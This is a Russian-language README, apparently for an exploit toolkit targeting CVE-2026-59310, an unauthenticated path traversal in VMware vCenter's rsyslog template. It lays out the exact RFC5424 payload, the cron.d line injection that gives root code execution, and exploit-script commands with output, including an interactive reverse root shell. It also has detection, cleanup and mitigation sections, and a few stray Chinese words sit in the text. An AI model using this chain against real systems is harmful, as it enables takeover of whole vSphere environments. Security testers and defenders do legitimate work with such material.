CVE-2026-59310 — Обход каталога в VMware vCenter Syslog приводит к неавторизованному RCE

Отказ от ответственности: Этот проект предназначен только для авторизованного тестирования безопасности, проверки уязвимостей и исследований в области защиты. Используйте его только в средах с явным письменным разрешением. Пользователь несёт полную ответственность за любые последствия, вызванные злоупотреблением.

Содержание

• Обзор уязвимости
• Затронутые версии
• Причина уязвимости
• Цепочка эксплуатации
• Среда и проверка воспроизведения
• Воспроизведение скриптом
• Обнаружение и самопроверка
• Рекомендации по исправлению
• Часто задаваемые вопросы
• Ссылки

Обзор уязвимости

Встроенная служба приёма syslog в vCenter (rsyslog) использует шаблон динамического пути для сохранения журналов. Шаблон напрямую подставляет поля APP-NAME и HOSTNAME из заголовка сообщения в путь к файлу без какой-либо очистки пути. Отправив специально сформированное сообщение на доступный порт syslog, злоумышленник может заставить путь записи выйти за пределы预定 каталога журналов, а затем в сочетании с заданиями планировщика добиться выполнения произвольного кода.

vCenter — это центральный узел управления виртуализацией; его компрометация равносильна потере контроля над всей средой vSphere / VCF.

Затронутые версии

Затронутые версии (ниже следующих исправленных версий)

Также затронуты: автономно развёрнутые vCenter, а также затронутые компоненты vCenter, используемые в VMware Cloud Foundation, VMware vSphere Foundation, VMware Telco Cloud.

Проверенная среда: VMware vCenter Server 9.0.2.0 / Build 25148086, предшествует исправленной версии 25629525, действительно находится в неисправленном состоянии.

Причина уязвимости

1. Шаблон динамического пути напрямую конкатенирует недоверенные поля

/etc/rsyslog.conf (заводская конфигурация VMware по умолчанию):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% используется одновременно как имя каталога и имя файла, и очистка пути отсутствует.

2. Слишком широкий селектор

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

Требуется только совпадение по префиксу; злоумышленник может использовать rsyslog/..., чтобы попасть под это правило и войти в шаблон динамического пути.

3. Проникновение символа новой строки (ключ к RCE)

24: $EscapeControlCharactersOnReceive off

Символы новой строки в содержимом сообщения записываются на диск как есть, что позволяет злоумышленнику управлять структурой строк записываемого файла.

4. Ключевая точка обхода: несоответствие поведения парсеров RFC3164 и RFC5424

Это наиболее часто упускаемое место данной уязвимости.

• RFC3164 (pmrfc3164): при разборе имени хоста используется белый список символов, / по умолчанию не допускается, что приводит к усечению APP-NAME на / → обход невозможен.
• RFC5424 (pmrfc5424): APP-NAME — это отдельное поле, разделённое пробелами, проверка по белому списку символов не выполняется, / и .. сохраняются как есть → обход возможен.

Серверная часть input(type="imudp" port="514") использует набор правил по умолчанию и одновременно принимает сообщения RFC5424. Злоумышленнику достаточно оформить сообщение в формате RFC5424, чтобы символы обхода напрямую попали в путь к файлу.

Сравнение по результатам тестирования (одна и та же полезная нагрузка rsyslog/../../../../tmp/x):

Косвенное подтверждение: чистый .. создаётся как литеральное имя каталога (например, rsyslog..), что указывает на то, что уровень omfile в rsyslog не выполняет нормализацию ..; решающим фактором является способность парсера передать / в поле.

Цепочка эксплуатации

① Неаутентифицированный UDP-пакет  →  ② RFC5424 APP-NAME с обходом  →  ③ Выход из каталога журналов, произвольная запись (root)
                                                          ↓
                     ⑤ Выполнение кода с правами root  ←  ④ Внедрение задания планировщика в /etc/cron.d

Шаги ①②③: неаутентифицированная запись произвольных файлов (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Подстановка в шаблон:

Каталог = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
Файл = то же самое + "-syslog.log"                          →  /tmp/PWNED-syslog.log

Результат: запись с владельцем root в /tmp/PWNED-syslog.log, отсутствующие родительские каталоги создаются автоматически, содержимое полностью контролируется.

Шаги ④⑤: от записи файла к RCE

Имя записываемого файла всегда заканчивается на -syslog.log, поэтому напрямую перезаписать /etc/cron.d/xxx невозможно. Однако благодаря проникновению символа новой строки можно внедрить перевод строки в MSG, заставив контролируемое содержимое начинаться с 0-й колонки файла:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron сообщает "bad minute", игнорируется
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← выполняется как допустимая строка cron
#

crond выполняет задание с правами root, получаем:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

Альтернативные пути закрепления

• Каталог статических ресурсов VAMI: запись в /opt/vmware/share/htdocs/ (lighttpd слушает 5480), затем чтение через https://<target>:5480/..., что соответствует описанию в уведомлении производителя.
• /var/spool/cron/root: можно записать в этот каталог, но требуется сам файл с именем root, что ограничено суффиксом -syslog.log, поэтому /etc/cron.d/ более прямолинейно.

Среда и проверка воспроизведения

Результаты проверки

Запись произвольных файлов (без аутентификации)

$ python3 exploit_cve_2026_59310.py <target> --check
[i] Версия пространства имён API: 9.0.0.0  (не appliance build, только для справки по отпечатку)
[*] APP-NAME    : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] Отправлено. Ожидается создание файла с владельцем root на цели

# На цели:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log

Выполнение команд (root)

$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] Внедрено      : /etc/cron.d/cve59310<name>-syslog.log
[i] Чтение результата    : cat /tmp/cve59310_<name>.txt

# Примерно через 60 с:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost

Интерактивный обратный shell (root)

$ python3 exploit_cve_2026_59310.py <target> --lhost <ваш IP> --lport 4444
[+] Прослушивание 0.0.0.0:4444
[+] Внедрено      : /etc/cron.d/cve59310<name>-syslog.log
[+] Обратное подключение успешно, от <target>:56184  —— root shell установлен

root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root

Замените IP цели, адрес обратного подключения и т. д. на вашу собственную авторизованную тестовую среду.

Воспроизведение скриптом

Зависимости

• Python 3.8+ (только стандартная библиотека, сторонние пакеты не требуются)
• Сетевой доступ к целевому порту syslog (по умолчанию UDP/514)

Скрипт эксплуатации в одну команду exploit_cve_2026_59310.py

# 1) Интерактивный обратный root shell (наиболее часто используется)
python3 exploit_cve_2026_59310.py <target> --lhost <ваш IP> --lport 4444

# 2) Выполнить одну команду, вывод записывается в /tmp/<name>.txt на цели
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"

# 3) Неразрушающая проверка: только доказательство неаутентифицированной записи произвольных файлов
python3 exploit_cve_2026_59310.py <target> --check

# 4) Просмотр команд очистки
python3 exploit_cve_2026_59310.py <target> --cleanup

Основные параметры:

Упрощённый PoC poc_vcenter_rce.py

python3 poc_vcenter_rce.py <target> --check              # Проверка произвольной записи
python3 poc_vcenter_rce.py <target> --rce "id" --name t  # Выполнение команды
python3 poc_vcenter_rce.py <target> --cleanup            # Подсказка по очистке

Исходный отправитель poc_syslog_traversal.py

Позволяет независимо управлять HOSTNAME / APP-NAME для ручного формирования сообщений:

python3 poc_syslog_traversal.py <target> \
    --tag 'rsyslog/../../../../tmp/test' --msg 'hello'

Очистка

Данная уязвимость предоставляет только примитив записи, скрипт не может самостоятельно удалить удалённые файлы. Очистку необходимо выполнять на цели:

rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*

Обнаружение и самопроверка

Определение возможной подверженности

# Просмотр версии в vCenter Shell (ветка 9.0 с Build < 25629525 является неисправленной)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version

# Проверка наличия уязвимого шаблона динамического пути
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf

# Проверка, включено ли проникновение символа новой строки
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf

Поиск следов вторжения

# 1) Аномальные файлы в /etc/cron.d (особое внимание: записи с суффиксом -syslog.log)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null

# 2) Подозрительные файлы *-syslog.log вне каталогов журналов (полное сканирование, наиболее эффективно)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null

# 3) Аномальные каталоги, созданные в результате обхода (обратите внимание на каталоги с символами .. или % в пути)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'

# 4) Содержимое, записанное в статический каталог VAMI
ls -la /opt/vmware/share/htdocs/

# 5) Аномалии hostname в журналах пересылки syslog (APP-NAME, содержащий / или ..)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head

Подсказка: пункт 2, полное сканирование, является наиболее надёжным средством обнаружения. Если шаблон выполняет обход к несуществующему пути, rsyslog автоматически создаст родительские каталоги, поэтому такие деформированные каталоги, как /..etc/, /rsyslog../, также являются явными следами вторжения.

Рекомендации по исправлению

Первоочередное: обновление до исправленной версии

Обновитесь согласно таблице Затронутые версии. Для ветки 9.0 минимальное требование — 9.0.2.0100 (Build 25629525).

Временные меры (если немедленное обновление невозможно)

1. Закрыть поверхность атаки RFC5424 (наиболее прямолинейно): явно привязать парсер pmrfc3164 к входам 514/1514.

   root@kitploit:~

   parser(name="p3164" type="pmrfc3164")
   input(type="imudp" port="514" ruleset="all" parser="p3164")
   

2. Явная очистка пути: настроить для omfile securepath="normal" и secpath-drop="replace". Уведомление по безопасности upstream rsyslog (GHSA-xmp9-244p-5ggv) прямо указывает, что securepath является надёжной границей пути.

3. Заблокировать проникновение символа новой строки: установить $EscapeControlCharactersOnReceive on.

4. Ужесточить селектор: заменить :app-name, startswith, "rsyslog" на точное совпадение; изменить правило определения имени хоста на белый список по IP источника / подсети, чтобы предотвратить попадание произвольных внешних отправителей в шаблон динамического пути.

5. Сетевая изоляция: открыть 514/1514 только для управляемых ESXi и доверенных пересыльщиков журналов, запретить доступ из не管理 сетей.

⚠️ Внимание: в настоящее время путь %hostname% защищён лишь поведением парсера RFC3164 по умолчанию — это случайная линия обороны, а не надёжная граница безопасности. Как только для совместимости будет включён permit.slashesinhostname, то же самое правило немедленно станет эксплуатируемым.

Часто задаваемые вопросы

В: Почему инструмент сообщает версию 9.0.0.0, которая не совпадает с фактическим build?

/sdk/vimServiceVersions.xml возвращает версию пространства имён API, а не номер appliance build, поэтому по ней нельзя судить об исправленности. Проверьте реальный build в vCenter Shell с помощью cat /etc/vmware-release.

В: После выполнения команды результат не читается?

crond планирует задания каждую минуту, обычно требуется подождать около 60 с. Кроме того, данная уязвимость предоставляет только примитив записи, скрипт не может самостоятельно прочитать файл обратно; необходимо выполнить на цели cat /tmp/cve59310_<name>.txt. Также можно передать внешнюю команду чтения через --read-cmd (например, ssh root@target cat {path}).

В: Обратный shell не подключается?

Частые причины: цель не может получить доступ к атакующей машине (брандмауэр / NAT / изоляция подсетей); crond ещё не сработал (можно увеличить --timeout); порт прослушивания не открыт. Можно переключиться на резервную реализацию с помощью --method python.

В: Почему при -c "a; b" получена только часть вывода?

Исправлено. Скрипт использует групповое перенаправление { cmd; } > file 2>&1, что гарантирует захват вывода всей последовательности команд (a; b > file перенаправляет только последнюю команду).

Ссылки

• Уведомление производителя VMSA-2026-0006: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
• Технический анализ (Mobeta): https://mobeta.fr/blog/vcenter-cve-2026-59309-cve-2026-59310/
• Уведомление об усилении безопасности rsyslog omfile dynaFile (GHSA-xmp9-244p-5ggv): https://github.com/rsyslog/rsyslog/security/advisories/GHSA-xmp9-244p-5ggv
• Примечания к выпуску vCenter 9.0.2.0100: https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-0/release-notes/patch-releases-9-0-0-x/vsphere/vcenter/vcenter-9-0-2-0100-release-notes.html